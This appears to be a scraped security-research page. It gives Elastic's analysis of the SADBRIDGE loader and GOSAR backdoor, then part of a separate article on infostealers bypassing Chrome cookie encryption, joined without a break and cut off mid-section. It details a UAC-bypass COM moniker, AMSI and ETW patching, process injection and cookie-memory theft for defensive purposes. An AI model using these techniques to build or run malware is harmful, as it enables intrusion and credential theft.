• Suspicious Parent-Child Relationship

YARA

Elastic Security has created the following YARA rules related to this post:

• Windows.Trojan.PathLoader
• Windows.Trojan.FinalDraft
• Linux.Trojan.FinalDraft
• Multi.Trojan.FinalDraft

Observations

The following observables were discussed in this research:

Elastic Security Labs recently observed a new intrusion set targeting Chinese-speaking regions, tracked as REF3864. These organized campaigns target victims by masquerading as legitimate software such as web browsers or social media messaging services. The threat group behind these campaigns shows a moderate degree of versatility in delivering malware across multiple platforms such as Linux, Windows, and Android. During this investigation, our team discovered a unique Windows infection chain with a custom loader we call SADBRIDGE. This loader deploys a Golang-based reimplementation of QUASAR, which we refer to as GOSAR. This is our team’s first time observing a rewrite of QUASAR in the Golang programming language.

Key takeaways

• Ongoing campaigns targeting Chinese language speakers with malicious installers masquerading as legitimate software like Telegram and the Opera web browser
• Infection chains employ injection and DLL side-loading using a custom loader (SADBRIDGE)
• SADBRIDGE deploys a newly-discovered variant of the QUASAR backdoor written in Golang (GOSAR)
• GOSAR is a multi-functional backdoor under active development with incomplete features and iterations of improved features observed over time
• Elastic Security provides comprehensive prevention and detection capabilities against this attack chain

REF3864 Campaign Overview

In November, the Elastic Security Labs team observed a unique infection chain when detonating several different samples uploaded to VirusTotal. These different samples were hosted via landing pages masquerading as legitimate software such as Telegram or the Opera GX browser.

During this investigation, we uncovered multiple infection chains involving similar techniques:

• Trojanized MSI installers with low detections
• Masquerading using legitimate software bundled with malicious DLLs
• Custom SADBRIDGE loader deployed
• Final stage GOSAR loaded

We believe these campaigns have flown under the radar due to multiple levels of abstraction. Typically, the first phase involves opening an archive file (ZIP) that includes an MSI installer. Legitimate software like the Windows x64dbg.exe debugging application is used behind-the-scenes to load a malicious, patched DLL (x64bridge.dll). This DLL kicks off a new legitimate program (MonitoringHost.exe) where it side-loads another malicious DLL (HealthServiceRuntime.dll), ultimately performing injection and loading the GOSAR implant in memory via injection.

Malware researchers extracted SADBRIDGE configurations that reveal adversary-designated campaign dates, and indicate operations with similar TTP’s have been ongoing since at least December 2023. The command-and-control (C2) infrastructure for GOSAR often masquerades under trusted services or software to appear benign and conform to victim expectations for software installers. Throughout the execution chain, there is a focus centered around enumerating Chinese AV products such as 360tray.exe, along with firewall rule names and descriptions in Chinese. Due to these customizations we believe this threat is geared towards targeting Chinese language speakers. Additionally, extensive usage of Chinese language logging indicates the attackers are also Chinese language speakers.

QUASAR has previously been used in state-sponsored espionage, non-state hacktivism, and criminal financially motivated attacks since 2017 (Qualys, Evolution of Quasar RAT), including by China-linked APT10. A rewrite in Golang might capitalize on institutional knowledge gained over this period, allowing for additional capabilities without extensive retraining of previously effective TTPs.

GOSAR extends QUASAR with additional information-gathering capabilities, multi-OS support, and improved evasion against anti-virus products and malware classifiers. However, the generic lure websites, and lack of additional targeting information, or actions on the objective, leave us with insufficient evidence to identify attacker motivation(s).

SADBRIDGE Introduction

The SADBRIDGE malware loader is packaged as an MSI executable for delivery and uses DLL side-loading with various injection techniques to execute malicious payloads. SADBRIDGE abuses legitimate applications such as x64dbg.exe and MonitoringHost.exe to load malicious DLLs like x64bridge.dll and HealthServiceRuntime.dll, which leads to subsequent stages and shellcodes.

Persistence is achieved through service creation and registry modifications. Privilege escalation to Administrator occurs silently using a UAC bypass technique that abuses the ICMLuaUtil COM interface. In addition, SADBRIDGE incorporates a privilege escalation bypass through Windows Task Scheduler to execute its main payload with SYSTEM level privileges.

The SADBRIDGE configuration is encrypted using a simple subtraction of 0x1 on each byte of the configuration string. The encrypted stages are all appended with a .log extension, and decrypted during runtime using XOR and the LZNT1 decompression algorithm.

SADBRIDGE employs PoolParty, APC queues, and token manipulation techniques for process injection. To avoid sandbox analysis, it uses long Sleep API calls. Another defense evasion technique involves API patching to disable Windows security mechanisms such as the Antimalware Scan Interface (AMSI) and Event Tracing for Windows (ETW).

The following deep dive is structured to explore the execution chain, providing a step-by-step walkthrough of the capabilities and functionalities of significant files and stages, based on the configuration of the analyzed sample. The analysis aims to highlight the interaction between each component and their roles in reaching the final payload.

SADBRIDGE Code Analysis

MSI Analysis

The initial files are packaged in an MSI using Advanced Installer, the main files of interest are x64dbg.exe and x64bridge.dll.

By using MSI tooling (lessmsi), we can see the LaunchApp entrypoint in aicustact.dll is configured to execute the file path specified in the AI_APP_FILE property.

If we navigate to this AI_APP_FILE property, we can see the file tied to this configuration is x64dbg.exe. This represents the file that will be executed after the installation is completed, the legitimate NetFxRepairTool.exe is never executed.

x64bridge.dll Side-loading

When x64dbg.exe gets executed, it calls the BridgeInit export from x64bridge.dll. BridgeInit is a wrapper for the BridgeStart function.

Similar to techniques observed with BLISTER, SADBRIDGE patches the export of a legitimate DLL.

During the malware initialization routine, SADBRIDGE begins with generating a hash using the hostname and a magic seed 0x4E67C6A7. This hash is used as a directory name for storing the encrypted configuration file. The encrypted configuration is written to C:\Users\Public\Documents\<hostname_hash>\edbtmp.log. This file contains the attributes FILE_ATTRIBUTE_SYSTEM, FILE_ATTRIBUTE_READONLY, FILE_ATTRIBUTE_HIDDEN to hide itself from an ordinary directory listing.

Decrypting the configuration is straightforward, the encrypted chunks are separated with null bytes. For each byte within the encrypted chunks, we can increment them by 0x1.

The configuration consists of:

• Possible campaign date
• Strings to be used for creating services
• New name for MonitoringHost.exe (DevQueryBroker.exe)
• DLL name for the DLL to be sideloaded by MonitoringHost.exe (HealthServiceRuntime.dll)
• Absolute paths for additional stages (.log files)
• The primary injection target for hosting GOSAR (svchost.exe)

The DevQueryBroker directory (C:\ProgramData\Microsoft\DeviceSync\Device\Stage\Data\DevQueryBroker\) contains all of the encrypted stages (.log files) that are decrypted at runtime. The file (DevQueryBroker.exe) is a renamed copy of Microsoft legitimate application (MonitoringHost.exe).

Finally, it creates a process to run DevQueryBroker.exe which side-loads the malicious HealthServiceRuntime.dll in the same folder.

HealthServiceRuntime.dll

This module drops both an encrypted and partially decrypted shellcode in the User’s %TEMP% directory. The file name for the shellcode follows the format: log<random_string>.tmp. Each byte of the partially decrypted shellcode is then decremented by 0x10 to fully decrypt. The shellcode is executed in a new thread of the same process.

The malware leverages API hashing using the same algorithm in research published by SonicWall, the hashing algorithm is listed in the Appendix section. The shellcode decrypts DevQueryBroker.log into a PE file then performs a simple XOR operation with a single byte (0x42) in the first third of the file where then it decompresses the result using the LZNT1 algorithm.

The shellcode then unmaps any existing mappings at the PE file's preferred base address using NtUnmapViewOfSection, ensuring that a call to VirtualAlloc will allocate memory starting at the preferred base address. Finally, it maps the decrypted PE file to this allocated memory and transfers execution to its entry point. All shellcodes identified and executed by SADBRIDGE share an identical code structure, differing only in the specific .log files they reference for decryption and execution.

DevQueryBroker.log

The malware dynamically loads amsi.dll to disable critical security mechanisms in Windows. It patches AmsiScanBuffer in amsi.dll by inserting instructions to modify the return value to 0x80070057, the standardized Microsoft error code E_INVALIDARG indicating invalid arguments, and returning prematurely, to effectively bypass the scanning logic. Similarly, it patches AmsiOpenSession to always return the same error code E_INVALIDARG. Additionally, it patches EtwEventWrite in ntdll.dll, replacing the first instruction with a ret instruction to disable Event Tracing for Windows (ETW), suppressing any logging of malicious activity.

Following the patching, an encrypted shellcode is written to temp.ini at path (C:\ProgramData\Microsoft\DeviceSync\Device\Stage\Data\DevQueryBroker\temp.ini).
The malware checks the current process token’s group membership to determine its privilege level. It verifies if the process belongs to the LocalSystem account by initializing a SID with the SECURITY_LOCAL_SYSTEM_RID and calling CheckTokenMembership. If not, it attempts to check for membership in the Administrators group by creating a SID using SECURITY_BUILTIN_DOMAIN_RID and DOMAIN_ALIAS_RID_ADMINS and performing a similar token membership check.

If the current process does not have LocalSystem or Administrator privileges, privileges are first elevated to Administrator through a UAC bypass mechanism by leveraging the ICMLuaUtil COM interface. It crafts a moniker string "Elevation:Administrator!new:{3E5FC7F9-9A51-4367-9063-A120244FBEC7}" to create an instance of the CMSTPLUA object with Administrator privileges. Once the object is created and the ICMLuaUtil interface is obtained, the malware uses the exposed ShellExec method of the interface to run DevQueryBroker.exe.

If a task or a service is not created to run DevQueryBroker.exe routinely, the malware checks if the Anti-Virus process 360tray.exe is running. If it is not running, a service is created for privilege escalation to SYSTEM, with the following properties:

• Service name: DevQueryBrokerService
  Binary path name: “C:\ProgramData\Microsoft\DeviceSync\Device\Stage\Data\DevQueryBroker\DevQueryBroker.exe -svc”.
• Display name: DevQuery Background Discovery Broker Service
• Description: Enables apps to discover devices with a background task.
• Start type: Automatically at system boot
• Privileges: LocalSystem

If 360tray.exe is detected running, the malware writes an encrypted PE file to DevQueryBrokerService.log, then maps a next-stage PE file (Stage 1) into the current process memory, transferring execution to it.

Once DevQueryBroker.exe is re-triggered with SYSTEM level privileges and reaches this part of the chain, the malware checks the Windows version. For systems running Vista or later (excluding Windows 7), it maps another next-stage (Stage 2) into memory and transfers execution there.

On Windows 7, however, it executes a shellcode, which decrypts and runs the DevQueryBrokerPre.log file.

Stage 1 Injection (explorer.exe)

SADBRIDGE utilizes PoolParty Variant 7 to inject shellcode into explorer.exe by targeting its thread pool’s I/O completion queue. It first duplicates a handle to the target process's I/O completion queue. It then allocates memory within explorer.exe to store the shellcode. Additional memory is allocated to store a crafted TP_DIRECT structure, which includes the base address of the shellcode as the callback address. Finally, it calls ZwSetIoCompletion, passing a pointer to the TP_DIRECT structure to queue a packet to the I/O completion queue of the target process's worker factory (worker threads manager), effectively triggering the execution of the injected shellcode.

This shellcode decrypts the DevQueryBrokerService.log file, unmaps any memory regions occupying its preferred base address, maps the PE file to that address, and then executes its entry point. This behavior mirrors the previously observed shellcode.

Stage 2 Injection (spoolsv.exe/lsass.exe)

For Stage 2, SADBRIDGE injects shellcode into spoolsv.exe, or lsass.exe if spoolsv.exe is unavailable, using the same injection technique as in Stage 1. The shellcode exhibits similar behavior to the earlier stages: it decrypts DevQueryBrokerPre.log into a PE file, unmaps any regions occupying its preferred base address, maps the PE file, and then transfers execution to its entry point.

DevQueryBrokerService.log

The shellcode decrypted from DevQueryBrokerService.log as mentioned in the previous section leverages a privilege escalation technique using the Windows Task Scheduler. SADBRIDGE integrates a public UAC bypass technique using the IElevatedFactorySever COM object to indirectly create the scheduled task. This task is configured to run DevQueryBroker.exe on a daily basis with SYSTEM level privileges using the task name DevQueryBrokerService.

In order to cover its tracks, the malware spoofs the image path and command-line by modifying the Process Environment Block (PEB) directly, likely in an attempt to disguise the COM service as coming from explorer.exe.

DevQueryBrokerPre.log

SADBRIDGE creates a service named DevQueryBrokerServiceSvc under the registry subkey SYSTEM\CurrentControlSet\Services\DevQueryBrokerServiceSvc with the following attributes:

• Description: Enables apps to discover devices with a background task.
• DisplayName: DevQuery Background Discovery Broker Service
• ErrorControl: 1
• ImagePath: %systemRoot%\system32\svchost.exe -k netsvcs
• ObjectName: LocalSystem
• Start: 2 (auto-start)
• Type: 16.
• Failure Actions:
  • Resets failure count every 24 hours.
  • Executes three restart attempts: a 20ms delay for the first, and a 1-minute delay for the second and third.

The service parameters specify the ServiceDll located at C:\Program Files (x86)\Common Files\Microsoft Shared\Stationery\<hostname_hash>\DevQueryBrokerService.dll. If the DLL file does not exist, it will be dropped to disk right after.

DevQueryBrokerService.dll has a similar code structure as HealthServiceRuntime.dll, which is seen in the earlier stages of the execution chain. It is responsible for decrypting DevQueryBroker.log and running it. The ServiceDll will be loaded and executed by svchost.exe when the service starts.

Additionally, it modifies the SOFTWARE\Microsoft\Windows NT\CurrentVersion\Svchost\netsvcs key to include an entry for DevQueryBrokerServiceSvc to integrate the newly created service into the group of services managed by the netsvcs service host group.

SADBRIDGE then deletes the scheduled task and service created previously by removing the registry subkeys SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Schedule\\TaskCache\\Tree\\DevQueryBrokerService and SYSTEM\\CurrentControlSet\\Services\\DevQueryBrokerService.

Finally, it removes the files DevQueryBroker.exe and HealthServiceRuntime.dll in the C:\ProgramData\Microsoft\DeviceSync\Device\Stage\Data\DevQueryBroker folder, as the new persistence mechanism is in place.

GOSAR Injection

In the latter half of the code, SADBRIDGE enumerates all active sessions on the local machine using the WTSEnumerateSessionsA API.

If sessions are found, it iterates through each session:

• For each session, it attempts to retrieve the username (WTSUserName) using WTSQuerySessionInformationA. If the query fails, it moves to the next session.
• If WTSUserName is not empty, the code targets svchost.exe, passing its path, the session ID, and the content of the loader configuration to a subroutine that injects the final stage.
• If WTSUserName is empty but the session's WinStationName is "Services" (indicating a service session), it targets dllhost.exe instead, passing the same parameters to the final stage injection subroutine.

If no sessions are found, it enters an infinite loop to repeatedly enumerate sessions and invoke the subroutine for injecting the final stage, while performing checks to avoid redundant injections.

Logged-in sessions target svchost.exe, while service sessions or sessions without a logged-in user target dllhost.exe.

If a session ID is available, the code attempts to duplicate the user token for that session and elevate the duplicated token's integrity level to S-1-16-12288 (System integrity). It then uses the elevated token to create a child process (svchost.exe or dllhost.exe) via CreateProcessAsUserA.

If token manipulation fails or no session ID is available (system processes can have a session ID of 0), it falls back to creating a process without a token using CreateProcessA.

The encrypted shellcode C:\ProgramData\Microsoft\DeviceSync\Device\Stage\Data\DevQueryBroker\temp.ini is decrypted using the same XOR and LZNT1 decompression technique seen previously to decrypt .log files, and APC injection is used to queue the shellcode for execution in the newly created process’s thread.

Finally, the injected shellcode decrypts DevQueryBrokerCore.log to GOSAR and runs it in the newly created process’s memory.

GOSAR Introduction

GOSAR is a multi-functional remote access trojan found targeting Windows and Linux systems. This backdoor includes capabilities such as retrieving system information, taking screenshots, executing commands, keylogging, and much more. The GOSAR backdoor retains much of QUASAR's core functionality and behavior, while incorporating several modifications that differentiate it from the original version.

By rewriting malware in modern languages like Go, this can offer reduced detection rates as many antivirus solutions and malware classifiers struggle to identify malicious strings/characteristics under these new programming constructs. Below is a good example of an unpacked GOSAR receiving only 5 detections upon upload.

Notably, this variant supports multiple platforms, including ELF binaries for Linux systems and traditional PE files for Windows. This cross-platform capability aligns with the adaptability of Go, making it more versatile than the original .NET-based QUASAR. Within the following section, we will focus on highlighting GOSAR’s code structure, new features and additions compared to the open-source version (QUASAR).

GOSAR Code Analysis Overview

Code structure of GOSAR

As the binary retained all its symbols, we were able to reconstruct the source code structure, which was extracted from a sample of version 0.12.01

• vibrant/config: Contains the configuration files for the malware.
• vibrant/proto: Houses all the Google Protocol Buffers (proto) declarations.
• vibrant/network: Includes functions related to networking, such as the main connection loop, proxy handling and also thread to configure the firewall and setting up a listener
• vibrant/msgs/resolvers: Defines the commands handled by the malware. These commands are assigned to an object within the vibrant_msgs_init* functions.
• vibrant/msgs/services: Introduces new functionality, such as running services like keyloggers, clipboard logger, these services are started in the vibrant_network._ptr_Connection.Start function.
• vibrant/logs: Responsible for logging the malware’s execution. The logs are encrypted with an AES key stored in the configuration. The malware decrypts the logs in chunks using AES.
• vibrant/pkg/helpers: Contains helper functions used across various malware commands and services.
• vibrant/pkg/screenshot: Handles the screenshot capture functionality on the infected system.
• vibrant/pkg/utils: Includes utility functions, such as generating random values.
• vibrant/pkg/native: Provides functions for calling Windows API (WINAPI) functions.

New Additions to GOSAR

Communication and information gathering

This new variant continues to use the same communication method as the original, based on TCP TLS. Upon connection, it first sends system information to the C2, with 4 new fields added:

• IPAddress
• AntiVirus
• ClipboardSettings
• Wallets

The list of AntiViruses and digital wallets are initialized in the function vibrant_pkg_helpers_init and can be found at the bottom of this document.

Services

The malware handles 3 services that are started during the initial connection of the client to the C2:

• vibrant_services_KeyLogger
• vibrant_services_ClipboardLogger
• vibrant_services_TickWriteFile

KeyLogger

The keylogging functionality in GOSAR is implemented in the vibrant_services_KeyLogger function. This feature relies on Windows APIs to intercept and record keystrokes on the infected system by setting a global Windows hook with SetWindowsHookEx with the parameter WH_KEYBOARD_LL to monitor low-level keyboard events. The hook function is named vibrant_services_KeyLogger_func1.

ClipboardLogger

The clipboard logging functionality is straightforward and relies on Windows APIs. It first checks for the availability of clipboard data using IsClipboardFormatAvailable then retrieves it using GetClipboardData API.

TickWriteFile

Both ClipboardLogger and KeyLogger services collect data that is written by the TickWriteFile periodically to directory (C:\ProgramData\Microsoft\Windows\Start Menu\Programs\diagnostics) under a file of the current date, example 2024-11-27.
It can be decrypted by first subtracting the value 0x1f then xoring it with the value 0x18 as shown in the CyberChef recipe.

Networking setup

After initializing its services, the malware spawns three threads dedicated to its networking setup.

• vibrant_network_ConfigFirewallRule
• vibrant_network_ConfigHosts
• vibrant_network_ConfigAutoListener

Threads handling networking setup

ConfigFirewallRule

The malware creates an inbound firewall rule for the ports range 51756-51776 under a Chinese name that is translated to Distributed Transaction Coordinator (LAN) it allows all programs and IP addresses inbound the description is set to :Inbound rules for the core transaction manager of the Distributed Transaction Coordinator service are managed remotely through RPC/TCP.

ConfigHosts

This function adds an entry to c:\Windows\System32\Drivers\etc\hosts the following 127.0.0.1 micrornetworks.com. The reason for adding this entry is unclear, but it is likely due to missing functionalities or incomplete features in the malware's current development stage.

ConfigAutoListener

This functionality of the malware runs an HTTP server listener on the first available port within the range 51756-51776, which was previously allowed by a firewall rule. Interestingly, the server does not handle any commands, which proves that the malware is still under development. The current version we have only processes a GET request to the URI /security.js, responding with the string callback();, any other request returns a 404 error code. This minimal response could indicate that the server is a placeholder or part of an early development stage, with the potential for more complex functionalities to be added later

Logs

The malware saves its runtime logs in the directory: %APPDATA%\Roaming\Microsoft\Logs under the filename formatted as: windows-update-log-<YearMonthDay>.log.
Each log entry is encrypted with HMAC-AES algorithm; the key is hardcoded in the vibrant_config function, the following is an example:

The attacker can remotely retrieve the malware's runtime logs by issuing the command ResolveGetRunLogs.

Plugins

The malware has the capability to execute plugins, which are PE files downloaded from the C2 and stored on disk encrypted with an XOR algorithm. These plugins are saved at the path: C:\ProgramData\policy-err.log. To execute a plugin, the command ResolveDoExecutePlugin is called, it first checks if a plugin is available.

It then loads a native DLL reflectively that is stored in base64 format in the binary named plugins.dll and executes its export function ExecPlugin.

ExecPlugin creates a suspended process of C:\Windows\System32\msiexec.exe with the arguments /package /quiet. It then queues Asynchronous Procedure Calls (APC) to the process's main thread. When the thread is resumed, the queued shellcode is executed.

The shellcode reads the encrypted plugin stored at C:\ProgramData\policy-err.log, decrypts it using a hardcoded 1-byte XOR key, and reflectively loads and executes it.

HVNC

The malware supports hidden VNC(HVNC) through the existing socket, it exposes 5 commands

• ResolveHVNCCommand
• ResolveGetHVNCScreen
• ResolveStopHVNC
• ResolveDoHVNCKeyboardEvent
• ResolveDoHVNCMouseEvent

The first command that is executed is ResolveGetHVNCScreen which will first initialise it and set up a view, it uses an embedded native DLL HiddenDesktop.dll in base64 format, the DLL is reflectively loaded into memory and executed.

The DLL is responsible for executing low level APIs to setup the HVNC, with a total of 7 exported functions:

• ExcuteCommand
• DoMouseScroll
• DoMouseRightClick
• DoMouseMove
• DoMouseLeftClick
• DoKeyPress
• CaptureScreen

The first export function called is Initialise to initialise a desktop with CreateDesktopA API. This HVNC implementation handles 17 commands in total that can be found in ExcuteCommand export, as noted it does have a typo in the name, the command ID is forwarded from the malware’s command ResolveHVNCCommand that will call ExcuteCommand.

Screenshot

The malware loads reflectively the third and last PE DLL embedded in base64 format named Capture.dll, it has 5 export functions:

• CaptureFirstScreen
• CaptureNextScreen
• GetBitmapInfo
• GetBitmapInfoSize
• SetQuality

The library is first initialized by calling resolvers_ResolveGetBitmapInfo that reflectively loads and executes its DllEntryPoint which will setup the screen capture structures using common Windows APIs like CreateCompatibleDC, CreateCompatibleBitmap and CreateDIBSection. The 2 export functions CaptureFirstScreen and CaptureNextScreen are used to capture a screenshot of the victim's desktop as a JPEG image.

Observation

Interestingly, the original .NET QUASAR server can still be used to receive beaconing from GOSAR samples, as they have retained the same communication protocol. However, operational use of it would require significant modifications to support GOSAR functionalities.

It is unclear whether the authors updated or extended the open source .NET QUASAR server, or developed a completely new one. It is worth mentioning that they have retained the default listening port, 1080, consistent with the original implementation.

New functionality

The following table provides a description of all the newly added commands:

Malware and MITRE ATT&CK

Elastic uses the MITRE ATT&CK framework to document common tactics, techniques, and procedures that threats use against enterprise networks.

Tactics

Tactics represent the why of a technique or sub-technique. It is the adversary’s tactical goal: the reason for performing an action.

• Collection
• Command and Control
• Defense Evasion
• Discovery
• Execution
• Exfiltration
• Persistence
• Privilege Escalation

Techniques

Techniques represent how an adversary achieves a tactical goal by performing an action.

• Hijack Execution Flow: DLL Side-Loading
• Input Capture: Keylogging
• Process Injection: Asynchronous Procedure Call
• Process Discovery
• Hide Artifacts: Hidden Window
• Create or Modify System Process: Windows Service
• Non-Standard Port
• Abuse Elevation Control Mechanism: Bypass User Account Control
• Obfuscated Files or Information
• Impair Defenses: Disable or Modify Tools
• Virtualization/Sandbox Evasion: Time Based Evasion

Mitigating REF3864

Detection

• Potential Antimalware Scan Interface Bypass via PowerShell
• Unusual Print Spooler Child Process
• Execution from Unusual Directory - Command Line
• External IP Lookup from Non-Browser Process
• Unusual Parent-Child Relationship
• Unusual Network Connection via DllHost
• Unusual Persistence via Services Registry
• Parent Process PID Spoofing

Prevention

• Network Connection via Process with Unusual Arguments
• Potential Masquerading as SVCHOST
• Network Module Loaded from Suspicious Unbacked Memory
• UAC Bypass via ICMLuaUtil Elevated COM Interface
• Potential Image Load with a Spoofed Creation Time

YARA

Elastic Security has created YARA rules to identify this activity.

• Multi.Trojan.Gosar
• Windows.Trojan.SadBridge

Observations

The following observables were discussed in this research:

References

The following were referenced throughout the above research:

• https://zcgonvh.com/post/Advanced_Windows_Task_Scheduler_Playbook-Part.2_from_COM_to_UAC_bypass_and_get_SYSTEM_dirtectly.html
• https://www.sonicwall.com/blog/project-androm-backdoor-trojan
• https://www.safebreach.com/blog/process-injection-using-windows-thread-pools/
• https://gist.github.com/api0cradle/d4aaef39db0d845627d819b2b6b30512

Appendix

Hashing algorithm (SADBRIDGE)

def ror(x, n, max_bits=32) -> int:
    """Rotate right within a max bit limit, default 32-bit."""
    n %= max_bits
    return ((x >> n) | (x << (max_bits - n))) & (2**max_bits - 1)

def ror_13(data) -> int:
    data = data.encode('ascii')
    hash_value = 0

    for byte in data:
        hash_value = ror(hash_value, 13)
        
        if byte >= 0x61:
            byte -= 32  # Convert to uppercase
        hash_value = (hash_value + byte) & 0xFFFFFFFF

    return hash_value


def generate_hash(data, dll) -> int:
    dll_hash = ror_13(dll)
    result = (dll_hash + ror_13(data)) & 0xFFFFFFFF
    
    return hex(result)

AV products checked in GOSAR

In July, Google announced a new protection mechanism for cookies stored within Chrome on Windows, known as Application-Bound Encryption. There is no doubt this security implementation has raised the bar and directly impacted the malware ecosystem. After months with this new feature, many infostealers have written new code to bypass this protection (as the Chrome Security Team predicted) in order to stay competitive in the market and deliver capabilities that reliably retrieve cookie data from Chrome browsers.

Elastic Security Labs has been tracking a subset of this activity, identifying multiple techniques used by different malware families to circumvent App-Bound Encryption. While the ecosystem is still evolving in light of this pressure, our goal is to share technical details that help organizations understand and defend against these techniques. In this article, we will cover the different methods used by the following infostealer families:

• STEALC/VIDAR
• METASTEALER
• PHEMEDRONE
• XENOSTEALER
• LUMMA

Key takeaways

• Latest versions of infostealers implement bypasses around Google’s recent cookie protection feature using Application-Bound Encryption
• Techniques include integrating offensive security tool ChromeKatz, leveraging COM to interact with Chrome services and decrypt the app-bound encryption key, and using the remote debugging feature within Chrome
• Defenders should actively monitor for different cookie bypass techniques against Chrome on Windows in anticipation of future mitigations and bypasses likely to emerge in the near- to mid-term
• Elastic Security provides mitigations through memory signatures, behavioral rules, and hunting opportunities to enable faster identification and response to infostealer activity

Background

Generically speaking, cookies are used by web applications to store visitor information in the browser the visitor uses to access that web app. This information helps the web app track that user, their preferences, and other information from location to location– even across devices.

The authentication token is one use of the client-side data storage structures that enables much of how modern web interactivity works. These tokens are stored by the browser after the user has successfully authenticated with a web application. After username and password, after multifactor authentication (MFA) via one-time passcodes or biometrics, the web application “remembers” your browser is you via the exchange of this token with each subsequent web request.

A malicious actor who gets access to a valid authentication token can reuse it to impersonate the user to that web service with the ability to take over accounts, steal personal or financial information, or perform other actions as that user such as transfer financial assets.

Cybercriminals use infostealers to steal and commoditize this type of information for their financial gain.

Google Chrome Cookie Security

Legacy versions of Google Chrome on Windows used the Windows native Data Protection API (DPAPI) to encrypt cookies and protect them from other user contexts. This provided adequate protection against several attack scenarios, but any malicious software running in the targeted user’s context could decrypt these cookies using the DPAPI methods directly. Unfortunately, this context is exactly the niche that infostealers often find themselves in after social engineering for initial access. The DPAPI scheme is now well known to attackers with several attack vectors; from local decryption using the API, to stealing the masterkey and decrypting remotely, to abusing the domain-wide backup DPAPI key in an enterprise environment.

With the release of Chrome 127 in July 2024, Google implemented Application-Bound Encryption of browser data. This mechanism directly addressed many common DPAPI attacks against Windows Chrome browser data–including cookies. It does this by storing the data in encrypted datafiles, and using a service running as SYSTEM to verify any decryption attempts are coming from the Chrome process before returning the key to that process for decryption of the stored data.

While it is our view that this encryption scheme is not a panacea to protect all browser data (as the Chrome Security Team acknowledges in their release) we do feel it has been successful in driving malware authors to TTPs that are more overtly malicious, and easier for defenders to identify and respond to.

Stealer Bypass Techniques, Summarized

The following sections will describe specific infostealer techniques used to bypass Google’s App-Bound Encryption feature as observed by Elastic. Although this isn’t an exhaustive compilation of bypasses, and development of these families is ongoing, they represent an interesting dynamic within the infostealer space showing how malware developers responded to Google’s recently updated security control. The techniques observed by our team include:

• Remote debugging via Chrome’s DevTools Protocol
• Reading process memory of Chrome network service process (ChromeKatz and ReadProcessMemory (RPM))
• Elevating to SYSTEM then decrypting app_bound_encryption_key with the DecryptData method of GoogleChromeElevationService through COM

STEALC/VIDAR

Our team observed new code introduced to STEALC/VIDAR related to the cookie bypass technique around September 20th. These were atypical samples that stood out from previous versions and were implemented as embedded 64-bit PE files along with conditional checks. Encrypted values in the SQLite databases where Chrome stores its data are now prefixed with v20, indicating that the values are now encrypted using application-bound encryption.

STEALC was introduced in 2023 and was developed with “heavy inspiration” from other more established stealers such as RACOON and VIDAR. STEALC and VIDAR have continued concurrent development, and in the case of App-Bound Encryption bypasses have settled on the same implementation.

During the extraction of encrypted data from the databases the malware checks for this prefix. If it begins with v20, a child process is spawned using the embedded PE file in the .data section of the binary. This program is responsible for extracting unencrypted cookie values residing in one of Chrome's child processes.

This embedded binary creates a hidden desktop via OpenDesktopA / CreateDesktopA then uses CreateToolhelp32Snapshot to scan and terminate all chrome.exe processes. A new chrome.exe process is then started with the new desktop object. Based on the installed version of Chrome, the malware selects a signature pattern for the Chromium feature CookieMonster, an internal component used to manage cookies.

We used the signature patterns to pivot to existing code developed for an offensive security tool called ChromeKatz. At this time, the patterns have been removed from the ChromeKatz repository and replaced with a new technique. Based on our analysis, the malware author appears to have reimplemented ChromeKatz within STEALC in order to bypass the app-bound encryption protection feature.

Once the malware identifies a matching signature, it enumerates Chrome’s child processes to check for the presence of the --utility-sub-type=network.mojom.NetworkService command-line flag. This flag indicates that the process is the network service responsible for handling all internet communication. It becomes a prime target as it holds the sensitive data the attacker seeks, as described in MDSec’s post. It then returns a handle for that specific child process.

Next, it enumerates each module in the network service child process to find and retrieve the base address and size of chrome.dll loaded into memory. STEALC uses CredentialKatz::FindDllPattern and CookieKatz::FindPattern to locate the CookieMonster instances. There are 2 calls to CredentialKatz::FindDllPattern.

In the first call to CredentialKatz::FindDllPattern, it tries to locate one of the signature patterns (depending on the victim’s Chrome version) in chrome.dll. Once found, STEALC now has a reference pointer to that memory location where the byte sequence begins which is the function net::CookieMonster::~CookieMonster, destructor of the CookieMonster class.

The second call to CredentialKatz::FindDllPattern passes in the function address for net::CookieMonster::~CookieMonster(void) as an argument for the byte sequence search, resulting in STEALC having a pointer to CookieMonster’s Virtual Function Pointer struct.

The following method used by STEALC is again, identical to ChromeKatz, where it locates CookieMonster instances by scanning memory chunks in the chrome.dll module for pointers referencing the CookieMonster vtable. Since the vtable is a constant across all objects of a given class, any CookieMonster object will have the same vtable pointer. When a match is identified, STEALC treats the memory location as a CookieMonster instance and stores its address in an array.

For each identified CookieMonster instance, STEALC accesses the internal CookieMap structure located at an offset of +0x30, and which is a binary tree. Each node within this tree contains pointers to CanonicalCookieChrome structures. CanonicalCookieChrome structures hold unencrypted cookie data, making it accessible for extraction. STEALC then initiates a tree traversal by passing the first node into a dedicated traversal function.

For each node, it calls ReadProcessMemory to access the CanonicalCookieChrome structure from the target process’s memory, then further processing it in jy::GenerateExfilString.

STEALC formats the extracted cookie data by converting the expiration date to UNIX format and verifying the presence of the HttpOnly and Secure flags. It then appends details such as the cookie's name, value, domain, path, and the HttpOnly and Secure into a final string for exfiltration. OptimizedString structs are used in place of strings, so string values can either be the string itself, or if the string length is greater than 23, it will point to the address storing the string.

METASTEALER

METASTEALER, first observed in 2022, recently upgraded its ability to steal Chrome data, bypassing Google’s latest mitigation efforts. On September 30th, the malware authors announced this update via their Telegram channel, highlighting its enhanced capability to extract sensitive information, including cookies, despite the security changes in Chrome's version 129+.

The first sample observed in the wild by our team was discovered on September 30th, the same day the authors promoted the update. Despite claims that the malware operates without needing Administrator privileges, our testing revealed it does require elevated access, as it attempts to impersonate the SYSTEM token during execution.

As shown in the screenshots above, the get_decryption method now includes a new Boolean parameter. This value is set to TRUE if the encrypted data (cookie) begins with the v20 prefix, indicating that the cookie is encrypted using Chrome's latest encryption method. The updated function retains backward compatibility, still supporting the decryption of cookies from older Chrome versions if present on the infected machine.

The malware then attempts to access the Local State or LocalPrefs.json files located in the Chrome profile directory. Both files are JSON formatted and store encryption keys (encrypted_key) for older Chrome versions and app_bound_encrypted_key for newer ones. If the flag is set to TRUE, the malware specifically uses the app_bound_encrypted_key to decrypt cookies in line with the updated Chrome encryption method.

In this case, the malware first impersonates the SYSTEM token using a newly introduced class called ContextSwitcher.

